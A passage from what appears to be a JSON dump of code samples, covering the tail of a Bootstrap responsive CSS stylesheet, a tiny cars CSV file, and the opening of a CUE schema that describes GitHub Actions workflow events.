border-box;\n  }\n  .input-prepend input,\n  .input-append input,\n  .input-prepend input[class*=\"span\"],\n  .input-append input[class*=\"span\"] {\n    display: inline-block;\n    width: auto;\n  }\n  .controls-row [class*=\"span\"] + [class*=\"span\"] {\n    margin-left: 0;\n  }\n  .modal {\n    position: fixed;\n    top: 20px;\n    left: 20px;\n    right: 20px;\n    width: auto;\n    margin: 0;\n  }\n  .modal.fade {\n    top: -100px;\n  }\n  .modal.fade.in {\n    top: 20px;\n  }\n}\n@media (max-width: 480px) {\n  .nav-collapse {\n    -webkit-transform: translate3d(0, 0, 0);\n  }\n  .page-header h1 small {\n    display: block;\n    line-height: 20px;\n  }\n  input[type=\"checkbox\"],\n  input[type=\"radio\"] {\n    border: 1px solid #ccc;\n  }\n  .form-horizontal .control-label {\n    float: none;\n    width: auto;\n    padding-top: 0;\n    text-align: left;\n  }\n  .form-horizontal .controls {\n    margin-left: 0;\n  }\n  .form-horizontal .control-list {\n    padding-top: 0;\n  }\n  .form-horizontal .form-actions {\n    padding-left: 10px;\n    padding-right: 10px;\n  }\n  .media .pull-left,\n  .media .pull-right {\n    float: none;\n    display: block;\n    margin-bottom: 10px;\n  }\n  .media-object {\n    margin-right: 0;\n    margin-left: 0;\n  }\n  .modal {\n    top: 10px;\n    left: 10px;\n    right: 10px;\n  }\n  .modal-header .close {\n    padding: 10px;\n    margin: -10px;\n  }\n  .carousel-caption {\n    position: static;\n  }\n}\n@media (min-width: 768px) and (max-width: 979px) {\n  .row {\n    margin-left: -20px;\n    *zoom: 1;\n  }\n  .row:before,\n  .row:after {\n    display: table;\n    content: \"\";\n    line-height: 0;\n  }\n  .row:after {\n    clear: both;\n  }\n  [class*=\"span\"] {\n    float: left;\n    min-height: 1px;\n    margin-left: 20px;\n  }\n  .container,\n  .navbar-static-top .container,\n  .navbar-fixed-top .container,\n  .navbar-fixed-bottom .container {\n    width: 724px;\n  }\n  .span12 {\n    width: 724px;\n  }\n  .span11 {\n    width: 662px;\n  }\n  .span10 {\n    width: 600px;\n  }\n  .span9 {\n    width: 538px;\n  }\n  .span8 {\n    width: 476px;\n  }\n  .span7 {\n    width: 414px;\n  }\n  .span6 {\n    width: 352px;\n  }\n  .span5 {\n    width: 290px;\n  }\n  .span4 {\n    width: 228px;\n  }\n  .span3 {\n    width: 166px;\n  }\n  .span2 {\n    width: 104px;\n  }\n  .span1 {\n    width: 42px;\n  }\n  .offset12 {\n    margin-left: 764px;\n  }\n  .offset11 {\n    margin-left: 702px;\n  }\n  .offset10 {\n    margin-left: 640px;\n  }\n  .offset9 {\n    margin-left: 578px;\n  }\n  .offset8 {\n    margin-left: 516px;\n  }\n  .offset7 {\n    margin-left: 454px;\n  }\n  .offset6 {\n    margin-left: 392px;\n  }\n  .offset5 {\n    margin-left: 330px;\n  }\n  .offset4 {\n    margin-left: 268px;\n  }\n  .offset3 {\n    margin-left: 206px;\n  }\n  .offset2 {\n    margin-left: 144px;\n  }\n  .offset1 {\n    margin-left: 82px;\n  }\n  .row-fluid {\n    width: 100%;\n    *zoom: 1;\n  }\n  .row-fluid:before,\n  .row-fluid:after {\n    display: table;\n    content: \"\";\n    line-height: 0;\n  }\n  .row-fluid:after {\n    clear: both;\n  }\n  .row-fluid [class*=\"span\"] {\n    display: block;\n    width: 100%;\n    min-height: 30px;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n    float: left;\n    margin-left: 2.7624309392265194%;\n    *margin-left: 2.709239449864817%;\n  }\n  .row-fluid [class*=\"span\"]:first-child {\n    margin-left: 0;\n  }\n  .row-fluid .controls-row [class*=\"span\"] + [class*=\"span\"] {\n    margin-left: 2.7624309392265194%;\n  }\n  .row-fluid .span12 {\n    width: 100%;\n    *width: 99.94680851063829%;\n  }\n  .row-fluid .span11 {\n    width: 91.43646408839778%;\n    *width: 91.38327259903608%;\n  }\n  .row-fluid .span10 {\n    width: 82.87292817679558%;\n    *width: 82.81973668743387%;\n  }\n  .row-fluid .span9 {\n    width: 74.30939226519337%;\n    *width: 74.25620077583166%;\n  }\n  .row-fluid .span8 {\n    width: 65.74585635359117%;\n    *width: 65.69266486422946%;\n  }\n  .row-fluid .span7 {\n    width: 57.18232044198895%;\n    *width: 57.12912895262725%;\n  }\n  .row-fluid .span6 {\n    width: 48.61878453038674%;\n    *width: 48.56559304102504%;\n  }\n  .row-fluid .span5 {\n    width: 40.05524861878453%;\n    *width: 40.00205712942283%;\n  }\n  .row-fluid .span4 {\n    width: 31.491712707182323%;\n    *width: 31.43852121782062%;\n  }\n  .row-fluid .span3 {\n    width: 22.92817679558011%;\n    *width: 22.87498530621841%;\n  }\n  .row-fluid .span2 {\n    width: 14.3646408839779%;\n    *width: 14.311449394616199%;\n  }\n  .row-fluid .span1 {\n    width: 5.801104972375691%;\n    *width: 5.747913483013988%;\n  }\n  .row-fluid .offset12 {\n    margin-left: 105.52486187845304%;\n    *margin-left: 105.41847889972962%;\n  }\n  .row-fluid .offset12:first-child {\n    margin-left: 102.76243093922652%;\n    *margin-left: 102.6560479605031%;\n  }\n  .row-fluid .offset11 {\n    margin-left: 96.96132596685082%;\n    *margin-left: 96.8549429881274%;\n  }\n  .row-fluid .offset11:first-child {\n    margin-left: 94.1988950276243%;\n    *margin-left: 94.09251204890089%;\n  }\n  .row-fluid .offset10 {\n    margin-left: 88.39779005524862%;\n    *margin-left: 88.2914070765252%;\n  }\n  .row-fluid .offset10:first-child {\n    margin-left: 85.6353591160221%;\n    *margin-left: 85.52897613729868%;\n  }\n  .row-fluid .offset9 {\n    margin-left: 79.8342541436464%;\n    *margin-left: 79.72787116492299%;\n  }\n  .row-fluid .offset9:first-child {\n    margin-left: 77.07182320441989%;\n    *margin-left: 76.96544022569647%;\n  }\n  .row-fluid .offset8 {\n    margin-left: 71.2707182320442%;\n    *margin-left: 71.16433525332079%;\n  }\n  .row-fluid .offset8:first-child {\n    margin-left: 68.50828729281768%;\n    *margin-left: 68.40190431409427%;\n  }\n  .row-fluid .offset7 {\n    margin-left: 62.70718232044199%;\n    *margin-left: 62.600799341718584%;\n  }\n  .row-fluid .offset7:first-child {\n    margin-left: 59.94475138121547%;\n    *margin-left: 59.838368402492065%;\n  }\n  .row-fluid .offset6 {\n    margin-left: 54.14364640883978%;\n    *margin-left: 54.037263430116376%;\n  }\n  .row-fluid .offset6:first-child {\n    margin-left: 51.38121546961326%;\n    *margin-left: 51.27483249088986%;\n  }\n  .row-fluid .offset5 {\n    margin-left: 45.58011049723757%;\n    *margin-left: 45.47372751851417%;\n  }\n  .row-fluid .offset5:first-child {\n    margin-left: 42.81767955801105%;\n    *margin-left: 42.71129657928765%;\n  }\n  .row-fluid .offset4 {\n    margin-left: 37.01657458563536%;\n    *margin-left: 36.91019160691196%;\n  }\n  .row-fluid .offset4:first-child {\n    margin-left: 34.25414364640884%;\n    *margin-left: 34.14776066768544%;\n  }\n  .row-fluid .offset3 {\n    margin-left: 28.45303867403315%;\n    *margin-left: 28.346655695309746%;\n  }\n  .row-fluid .offset3:first-child {\n    margin-left: 25.69060773480663%;\n    *margin-left: 25.584224756083227%;\n  }\n  .row-fluid .offset2 {\n    margin-left: 19.88950276243094%;\n    *margin-left: 19.783119783707537%;\n  }\n  .row-fluid .offset2:first-child {\n    margin-left: 17.12707182320442%;\n    *margin-left: 17.02068884448102%;\n  }\n  .row-fluid .offset1 {\n    margin-left: 11.32596685082873%;\n    *margin-left: 11.219583872105325%;\n  }\n  .row-fluid .offset1:first-child {\n    margin-left: 8.56353591160221%;\n    *margin-left: 8.457152932878806%;\n  }\n  input,\n  textarea,\n  .uneditable-input {\n    margin-left: 0;\n  }\n  .controls-row [class*=\"span\"] + [class*=\"span\"] {\n    margin-left: 20px;\n  }\n  input.span12,\n  textarea.span12,\n  .uneditable-input.span12 {\n    width: 710px;\n  }\n  input.span11,\n  textarea.span11,\n  .uneditable-input.span11 {\n    width: 648px;\n  }\n  input.span10,\n  textarea.span10,\n  .uneditable-input.span10 {\n    width: 586px;\n  }\n  input.span9,\n  textarea.span9,\n  .uneditable-input.span9 {\n    width: 524px;\n  }\n  input.span8,\n  textarea.span8,\n  .uneditable-input.span8 {\n    width: 462px;\n  }\n  input.span7,\n  textarea.span7,\n  .uneditable-input.span7 {\n    width: 400px;\n  }\n  input.span6,\n  textarea.span6,\n  .uneditable-input.span6 {\n    width: 338px;\n  }\n  input.span5,\n  textarea.span5,\n  .uneditable-input.span5 {\n    width: 276px;\n  }\n  input.span4,\n  textarea.span4,\n  .uneditable-input.span4 {\n    width: 214px;\n  }\n  input.span3,\n  textarea.span3,\n  .uneditable-input.span3 {\n    width: 152px;\n  }\n  input.span2,\n  textarea.span2,\n  .uneditable-input.span2 {\n    width: 90px;\n  }\n  input.span1,\n  textarea.span1,\n  .uneditable-input.span1 {\n    width: 28px;\n  }\n}\n@media (min-width: 1200px) {\n  .row {\n    margin-left: -30px;\n    *zoom: 1;\n  }\n  .row:before,\n  .row:after {\n    display: table;\n    content: \"\";\n    line-height: 0;\n  }\n  .row:after {\n    clear: both;\n  }\n  [class*=\"span\"] {\n    float: left;\n    min-height: 1px;\n    margin-left: 30px;\n  }\n  .container,\n  .navbar-static-top .container,\n  .navbar-fixed-top .container,\n  .navbar-fixed-bottom .container {\n    width: 1170px;\n  }\n  .span12 {\n    width: 1170px;\n  }\n  .span11 {\n    width: 1070px;\n  }\n  .span10 {\n    width: 970px;\n  }\n  .span9 {\n    width: 870px;\n  }\n  .span8 {\n    width: 770px;\n  }\n  .span7 {\n    width: 670px;\n  }\n  .span6 {\n    width: 570px;\n  }\n  .span5 {\n    width: 470px;\n  }\n  .span4 {\n    width: 370px;\n  }\n  .span3 {\n    width: 270px;\n  }\n  .span2 {\n    width: 170px;\n  }\n  .span1 {\n    width: 70px;\n  }\n  .offset12 {\n    margin-left: 1230px;\n  }\n  .offset11 {\n    margin-left: 1130px;\n  }\n  .offset10 {\n    margin-left: 1030px;\n  }\n  .offset9 {\n    margin-left: 930px;\n  }\n  .offset8 {\n    margin-left: 830px;\n  }\n  .offset7 {\n    margin-left: 730px;\n  }\n  .offset6 {\n    margin-left: 630px;\n  }\n  .offset5 {\n    margin-left: 530px;\n  }\n  .offset4 {\n    margin-left: 430px;\n  }\n  .offset3 {\n    margin-left: 330px;\n  }\n  .offset2 {\n    margin-left: 230px;\n  }\n  .offset1 {\n    margin-left: 130px;\n  }\n  .row-fluid {\n    width: 100%;\n    *zoom: 1;\n  }\n  .row-fluid:before,\n  .row-fluid:after {\n    display: table;\n    content: \"\";\n    line-height: 0;\n  }\n  .row-fluid:after {\n    clear: both;\n  }\n  .row-fluid [class*=\"span\"] {\n    display: block;\n    width: 100%;\n    min-height: 30px;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n    float: left;\n    margin-left: 2.564102564102564%;\n    *margin-left: 2.5109110747408616%;\n  }\n  .row-fluid [class*=\"span\"]:first-child {\n    margin-left: 0;\n  }\n  .row-fluid .controls-row [class*=\"span\"] + [class*=\"span\"] {\n    margin-left: 2.564102564102564%;\n  }\n  .row-fluid .span12 {\n    width: 100%;\n    *width: 99.94680851063829%;\n  }\n  .row-fluid .span11 {\n    width: 91.45299145299145%;\n    *width: 91.39979996362975%;\n  }\n  .row-fluid .span10 {\n    width: 82.90598290598291%;\n    *width: 82.8527914166212%;\n  }\n  .row-fluid .span9 {\n    width: 74.35897435897436%;\n    *width: 74.30578286961266%;\n  }\n  .row-fluid .span8 {\n    width: 65.81196581196582%;\n    *width: 65.75877432260411%;\n  }\n  .row-fluid .span7 {\n    width: 57.26495726495726%;\n    *width: 57.21176577559556%;\n  }\n  .row-fluid .span6 {\n    width: 48.717948717948715%;\n    *width: 48.664757228587014%;\n  }\n  .row-fluid .span5 {\n    width: 40.17094017094017%;\n    *width: 40.11774868157847%;\n  }\n  .row-fluid .span4 {\n    width: 31.623931623931625%;\n    *width: 31.570740134569924%;\n  }\n  .row-fluid .span3 {\n    width: 23.076923076923077%;\n    *width: 23.023731587561375%;\n  }\n  .row-fluid .span2 {\n    width: 14.52991452991453%;\n    *width: 14.476723040552828%;\n  }\n  .row-fluid .span1 {\n    width: 5.982905982905983%;\n    *width: 5.929714493544281%;\n  }\n  .row-fluid .offset12 {\n    margin-left: 105.12820512820512%;\n    *margin-left: 105.02182214948171%;\n  }\n  .row-fluid .offset12:first-child {\n    margin-left: 102.56410256410257%;\n    *margin-left: 102.45771958537915%;\n  }\n  .row-fluid .offset11 {\n    margin-left: 96.58119658119658%;\n    *margin-left: 96.47481360247316%;\n  }\n  .row-fluid .offset11:first-child {\n    margin-left: 94.01709401709402%;\n    *margin-left: 93.91071103837061%;\n  }\n  .row-fluid .offset10 {\n    margin-left: 88.03418803418803%;\n    *margin-left: 87.92780505546462%;\n  }\n  .row-fluid .offset10:first-child {\n    margin-left: 85.47008547008548%;\n    *margin-left: 85.36370249136206%;\n  }\n  .row-fluid .offset9 {\n    margin-left: 79.48717948717949%;\n    *margin-left: 79.38079650845607%;\n  }\n  .row-fluid .offset9:first-child {\n    margin-left: 76.92307692307693%;\n    *margin-left: 76.81669394435352%;\n  }\n  .row-fluid .offset8 {\n    margin-left: 70.94017094017094%;\n    *margin-left: 70.83378796144753%;\n  }\n  .row-fluid .offset8:first-child {\n    margin-left: 68.37606837606839%;\n    *margin-left: 68.26968539734497%;\n  }\n  .row-fluid .offset7 {\n    margin-left: 62.393162393162385%;\n    *margin-left: 62.28677941443899%;\n  }\n  .row-fluid .offset7:first-child {\n    margin-left: 59.82905982905982%;\n    *margin-left: 59.72267685033642%;\n  }\n  .row-fluid .offset6 {\n    margin-left: 53.84615384615384%;\n    *margin-left: 53.739770867430444%;\n  }\n  .row-fluid .offset6:first-child {\n    margin-left: 51.28205128205128%;\n    *margin-left: 51.175668303327875%;\n  }\n  .row-fluid .offset5 {\n    margin-left: 45.299145299145295%;\n    *margin-left: 45.1927623204219%;\n  }\n  .row-fluid .offset5:first-child {\n    margin-left: 42.73504273504273%;\n    *margin-left: 42.62865975631933%;\n  }\n  .row-fluid .offset4 {\n    margin-left: 36.75213675213675%;\n    *margin-left: 36.645753773413354%;\n  }\n  .row-fluid .offset4:first-child {\n    margin-left: 34.18803418803419%;\n    *margin-left: 34.081651209310785%;\n  }\n  .row-fluid .offset3 {\n    margin-left: 28.205128205128204%;\n    *margin-left: 28.0987452264048%;\n  }\n  .row-fluid .offset3:first-child {\n    margin-left: 25.641025641025642%;\n    *margin-left: 25.53464266230224%;\n  }\n  .row-fluid .offset2 {\n    margin-left: 19.65811965811966%;\n    *margin-left: 19.551736679396257%;\n  }\n  .row-fluid .offset2:first-child {\n    margin-left: 17.094017094017094%;\n    *margin-left: 16.98763411529369%;\n  }\n  .row-fluid .offset1 {\n    margin-left: 11.11111111111111%;\n    *margin-left: 11.004728132387708%;\n  }\n  .row-fluid .offset1:first-child {\n    margin-left: 8.547008547008547%;\n    *margin-left: 8.440625568285142%;\n  }\n  input,\n  textarea,\n  .uneditable-input {\n    margin-left: 0;\n  }\n  .controls-row [class*=\"span\"] + [class*=\"span\"] {\n    margin-left: 30px;\n  }\n  input.span12,\n  textarea.span12,\n  .uneditable-input.span12 {\n    width: 1156px;\n  }\n  input.span11,\n  textarea.span11,\n  .uneditable-input.span11 {\n    width: 1056px;\n  }\n  input.span10,\n  textarea.span10,\n  .uneditable-input.span10 {\n    width: 956px;\n  }\n  input.span9,\n  textarea.span9,\n  .uneditable-input.span9 {\n    width: 856px;\n  }\n  input.span8,\n  textarea.span8,\n  .uneditable-input.span8 {\n    width: 756px;\n  }\n  input.span7,\n  textarea.span7,\n  .uneditable-input.span7 {\n    width: 656px;\n  }\n  input.span6,\n  textarea.span6,\n  .uneditable-input.span6 {\n    width: 556px;\n  }\n  input.span5,\n  textarea.span5,\n  .uneditable-input.span5 {\n    width: 456px;\n  }\n  input.span4,\n  textarea.span4,\n  .uneditable-input.span4 {\n    width: 356px;\n  }\n  input.span3,\n  textarea.span3,\n  .uneditable-input.span3 {\n    width: 256px;\n  }\n  input.span2,\n  textarea.span2,\n  .uneditable-input.span2 {\n    width: 156px;\n  }\n  input.span1,\n  textarea.span1,\n  .uneditable-input.span1 {\n    width: 56px;\n  }\n  .thumbnails {\n    margin-left: -30px;\n  }\n  .thumbnails > li {\n    margin-left: 30px;\n  }\n  .row-fluid .thumbnails {\n    margin-left: 0;\n  }\n}\n@media (max-width: 979px) {\n  body {\n    padding-top: 0;\n  }\n  .navbar-fixed-top,\n  .navbar-fixed-bottom {\n    position: static;\n  }\n  .navbar-fixed-top {\n    margin-bottom: 20px;\n  }\n  .navbar-fixed-bottom {\n    margin-top: 20px;\n  }\n  .navbar-fixed-top .navbar-inner,\n  .navbar-fixed-bottom .navbar-inner {\n    padding: 5px;\n  }\n  .navbar .container {\n    width: auto;\n    padding: 0;\n  }\n  .navbar .brand {\n    padding-left: 10px;\n    padding-right: 10px;\n    margin: 0 0 0 -5px;\n  }\n  .nav-collapse {\n    clear: both;\n  }\n  .nav-collapse .nav {\n    float: none;\n    margin: 0 0 10px;\n  }\n  .nav-collapse .nav > li {\n    float: none;\n  }\n  .nav-collapse .nav > li > a {\n    margin-bottom: 2px;\n  }\n  .nav-collapse .nav > .divider-vertical {\n    display: none;\n  }\n  .nav-collapse .nav .nav-header {\n    color: #777777;\n    text-shadow: none;\n  }\n  .nav-collapse .nav > li > a,\n  .nav-collapse .dropdown-menu a {\n    padding: 9px 15px;\n    font-weight: bold;\n    color: #777777;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n  }\n  .nav-collapse .btn {\n    padding: 4px 10px 4px;\n    font-weight: normal;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n  }\n  .nav-collapse .dropdown-menu li + li a {\n    margin-bottom: 2px;\n  }\n  .nav-collapse .nav > li > a:hover,\n  .nav-collapse .nav > li > a:focus,\n  .nav-collapse .dropdown-menu a:hover,\n  .nav-collapse .dropdown-menu a:focus {\n    background-color: #f2f2f2;\n  }\n  .navbar-inverse .nav-collapse .nav > li > a,\n  .navbar-inverse .nav-collapse .dropdown-menu a {\n    color: #999999;\n  }\n  .navbar-inverse .nav-collapse .nav > li > a:hover,\n  .navbar-inverse .nav-collapse .nav > li > a:focus,\n  .navbar-inverse .nav-collapse .dropdown-menu a:hover,\n  .navbar-inverse .nav-collapse .dropdown-menu a:focus {\n    background-color: #111111;\n  }\n  .nav-collapse.in .btn-group {\n    margin-top: 5px;\n    padding: 0;\n  }\n  .nav-collapse .dropdown-menu {\n    position: static;\n    top: auto;\n    left: auto;\n    float: none;\n    display: none;\n    max-width: none;\n    margin: 0 15px;\n    padding: 0;\n    background-color: transparent;\n    border: none;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n    -webkit-box-shadow: none;\n    -moz-box-shadow: none;\n    box-shadow: none;\n  }\n  .nav-collapse .open > .dropdown-menu {\n    display: block;\n  }\n  .nav-collapse .dropdown-menu:before,\n  .nav-collapse .dropdown-menu:after {\n    display: none;\n  }\n  .nav-collapse .dropdown-menu .divider {\n    display: none;\n  }\n  .nav-collapse .nav > li > .dropdown-menu:before,\n  .nav-collapse .nav > li > .dropdown-menu:after {\n    display: none;\n  }\n  .nav-collapse .navbar-form,\n  .nav-collapse .navbar-search {\n    float: none;\n    padding: 10px 15px;\n    margin: 10px 0;\n    border-top: 1px solid #f2f2f2;\n    border-bottom: 1px solid #f2f2f2;\n    -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n    -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n    box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n  }\n  .navbar-inverse .nav-collapse .navbar-form,\n  .navbar-inverse .nav-collapse .navbar-search {\n    border-top-color: #111111;\n    border-bottom-color: #111111;\n  }\n  .navbar .nav-collapse .nav.pull-right {\n    float: none;\n    margin-left: 0;\n  }\n  .nav-collapse,\n  .nav-collapse.collapse {\n    overflow: hidden;\n    height: 0;\n  }\n  .navbar .btn-navbar {\n    display: block;\n  }\n  .navbar-static .navbar-inner {\n    padding-left: 10px;\n    padding-right: 10px;\n  }\n}\n@media (min-width: 980px) {\n  .nav-collapse.collapse {\n    height: auto !important;\n    overflow: visible !important;\n  }\n}\n"
  },
  {
    "path": "samples/CSV/cars.csv",
    "content": "Year,Make,Model,Length\n1997,Ford,E350,2.34\n2000,Mercury,Cougar,2.38\n"
  },
  {
    "path": "samples/CUE/github-workflow.cue",
    "content": "package json\n\nimport \"strings\"\n\n#Workflow: {\n\t@jsonschema(schema=\"http://json-schema.org/draft-07/schema\")\n\tnull | bool | number | string | [...] | {\n\t\t// The name of your workflow. GitHub displays the names of your\n\t\t// workflows on your repository's actions page. If you omit this\n\t\t// field, GitHub sets the name to the workflow's filename.\n\t\tname?: string\n\n\t\t// The name of the GitHub event that triggers the workflow. You\n\t\t// can provide a single event string, array of events, array of\n\t\t// event types, or an event configuration map that schedules a\n\t\t// workflow or restricts the execution of a workflow to specific\n\t\t// files, tags, or branch changes. For a list of available\n\t\t// events, see\n\t\t// https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows.\n\t\ton: #event | [...#event] & [_, ...] | {\n\t\t\t// Runs your workflow anytime the check_run event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see\n\t\t\t// https://developer.github.com/v3/checks/runs.\n\t\t\tcheck_run?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"rerequested\" | \"completed\" | \"requested_action\"] | *[\"created\", \"rerequested\", \"completed\", \"requested_action\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the check_suite event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see\n\t\t\t// https://developer.github.com/v3/checks/suites/.\n\t\t\tcheck_suite?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"completed\" | \"requested\" | \"rerequested\"] | *[\"completed\", \"requested\", \"rerequested\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime someone creates a branch or tag,\n\t\t\t// which triggers the create event. For information about the\n\t\t\t// REST API, see\n\t\t\t// https://developer.github.com/v3/git/refs/#create-a-reference.\n\t\t\tcreate?: #eventObject\n\n\t\t\t// Runs your workflow anytime someone deletes a branch or tag,\n\t\t\t// which triggers the delete event. For information about the\n\t\t\t// REST API, see\n\t\t\t// https://developer.github.com/v3/git/refs/#delete-a-reference.\n\t\t\tdelete?: #eventObject\n\n\t\t\t// Runs your workflow anytime someone creates a deployment, which\n\t\t\t// triggers the deployment event. Deployments created with a\n\t\t\t// commit SHA may not have a Git ref. For information about the\n\t\t\t// REST API, see\n\t\t\t// https://developer.github.com/v3/repos/deployments/.\n\t\t\tdeployment?: #eventObject\n\n\t\t\t// Runs your workflow anytime a third party provides a deployment\n\t\t\t// status, which triggers the deployment_status event.\n\t\t\t// Deployments created with a commit SHA may not have a Git ref.\n\t\t\t// For information about the REST API, see\n\t\t\t// https://developer.github.com/v3/repos/deployments/#create-a-deployment-status.\n\t\t\tdeployment_status?: #eventObject\n\n\t\t\t// Runs your workflow anytime when someone forks a repository,\n\t\t\t// which triggers the fork event. For information about the REST\n\t\t\t// API, see\n\t\t\t// https://developer.github.com/v3/repos/forks/#create-a-fork.\n\t\t\tfork?: #eventObject\n\n\t\t\t// Runs your workflow when someone creates or updates a Wiki page,\n\t\t\t// which triggers the gollum event.\n\t\t\tgollum?: #eventObject\n\n\t\t\t// Runs your workflow anytime the issue_comment event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see\n\t\t\t// https://developer.github.com/v3/issues/comments/.\n\t\t\tissue_comment?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"edited\" | \"deleted\"] | *[\"created\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the issues event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see https://developer.github.com/v3/issues.\n\t\t\tissues?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"opened\" | \"edited\" | \"deleted\" | \"transferred\" | \"pinned\" | \"unpinned\" | \"closed\" | \"reopened\" | \"assigned\" | \"unassigned\" | \"labeled\" | \"unlabeled\" | \"locked\" | \"unlocked\" | \"milestoned\" | \"demilestoned\"] | *[\"opened\", \"edited\", \"deleted\", \"transferred\", \"pinned\", \"unpinned\", \"closed\", \"reopened\", \"assigned\", \"unassigned\", \"labeled\", \"unlabeled\", \"locked\", \"unlocked\", \"milestoned\", \"demilestoned\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the label event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see\n\t\t\t// https://developer.github.com/v3/issues/labels/.\n\t\t\tlabel?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"edited\" | \"deleted\"] | *[\"created\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the member event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see\n\t\t\t// https://developer.github.com/v3/repos/collaborators/.\n\t\t\tmember?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"added\" | \"edited\" | \"deleted\"] | *[\"added\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the milestone event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see\n\t\t\t// https://developer.github.com/v3/issues/milestones/.\n\t\t\tmilestone?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"closed\" | \"opened\" | \"edited\" | \"deleted\"] | *[\"created\", \"closed\", \"opened\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime someone pushes to a GitHub\n\t\t\t// Pages-enabled branch, which triggers the page_build event. For\n\t\t\t// information about the REST API, see\n\t\t\t// https://developer.github.com/v3/repos/pages/.\n\t\t\tpage_build?: #eventObject\n\n\t\t\t// Runs your workflow anytime the project event occurs. More than\n\t\t\t// one activity type triggers this event. For information about\n\t\t\t// the REST API, see https://developer.github.com/v3/projects/.\n\t\t\tproject?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"updated\" | \"closed\" | \"reopened\" | \"edited\" | \"deleted\"] | *[\"created\", \"updated\", \"closed\", \"reopened\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the project_card event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see\n\t\t\t// https://developer.github.com/v3/projects/cards.\n\t\t\tproject_card?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"moved\" | \"converted\" | \"edited\" | \"deleted\"] | *[\"created\", \"moved\", \"converted\", \"edited\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the project_column event occurs.\n\t\t\t// More than one activity type triggers this event. For\n\t\t\t// information about the REST API, see\n\t\t\t// https://developer.github.com/v3/projects/columns.\n\t\t\tproject_column?: #eventObject & {\n\t\t\t\ttypes?: #types & [...\"created\" | \"updated\" | \"moved\" | \"deleted\"] | *[\"created\", \"updated\", \"moved\", \"deleted\"]\n\t\t\t\t...\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime someone makes a private repository\n\t\t\t// public, which triggers the public event. For information about\n\t\t\t// the REST API, see https://developer.github.com/v3/repos/#edit.\n\t\t\tpublic?: #eventObject\n\n\t\t\t// Runs your workflow anytime the pull_request event occurs. More\n\t\t\t// than one activity type triggers this event. For information\n\t\t\t// about the REST API, see https://developer.github.com/v3/pulls.\n\t\t\t// Note: Workflows do not run on private base repositories when\n\t\t\t// you open a pull request from a forked repository.\n\t\t\t// When you create a pull request from a forked repository to the\n\t\t\t// base repository, GitHub sends the pull_request event to the\n\t\t\t// base repository and no pull request events occur on the forked\n\t\t\t// repository.\n\t\t\t// Workflows don't run on forked repositories by default. You must\n\t\t\t// enable GitHub Actions in the Actions tab of the forked\n\t\t\t// repository.\n\t\t\t// The permissions for the GITHUB_TOKEN in forked repositories is\n\t\t\t// read-only. For more information about the GITHUB_TOKEN, see\n\t\t\t// https://help.github.com/en/articles/virtual-environments-for-github-actions.\n\t\t\tpull_request?: #ref & {\n\t\t\t\ttypes?: #types & [...\"assigned\" | \"unassigned\" | \"labeled\" | \"unlabeled\" | \"opened\" | \"edited\" | \"closed\" | \"reopened\" | \"synchronize\" | \"ready_for_review\" | \"locked\" | \"unlocked\" | \"review_requested\" | \"review_request_removed\"] | *[\"opened\", \"synchronize\", \"reopened\"]\n\n\t\t\t\t{[=~\"^(branche|tag|path)s(-ignore)?$\" & !~\"^(types)$\"]: _}\n\t\t\t}\n\n\t\t\t// Runs your workflow anytime the pull_request_review event\n\t\t\t// occurs. More than one activity type triggers this event. For\n\t\t\t// information about the REST API, see\n\t\t\t// https://developer.github.com/v3/pulls/reviews.\n\t\t\t// Note: Workflows do not run on private base repositories when\n\t\t\t// you open a pull request from a forked repository.\n\t\t\t// When you create a pull request from a forked repository to the\n\t\t\t// base repository, GitHub sends the pull_request event to the\n\t\t\t// base repository and no pull request events occur on the forked\n\t\t\t// repository.\n\t\t\t// Workflows don't 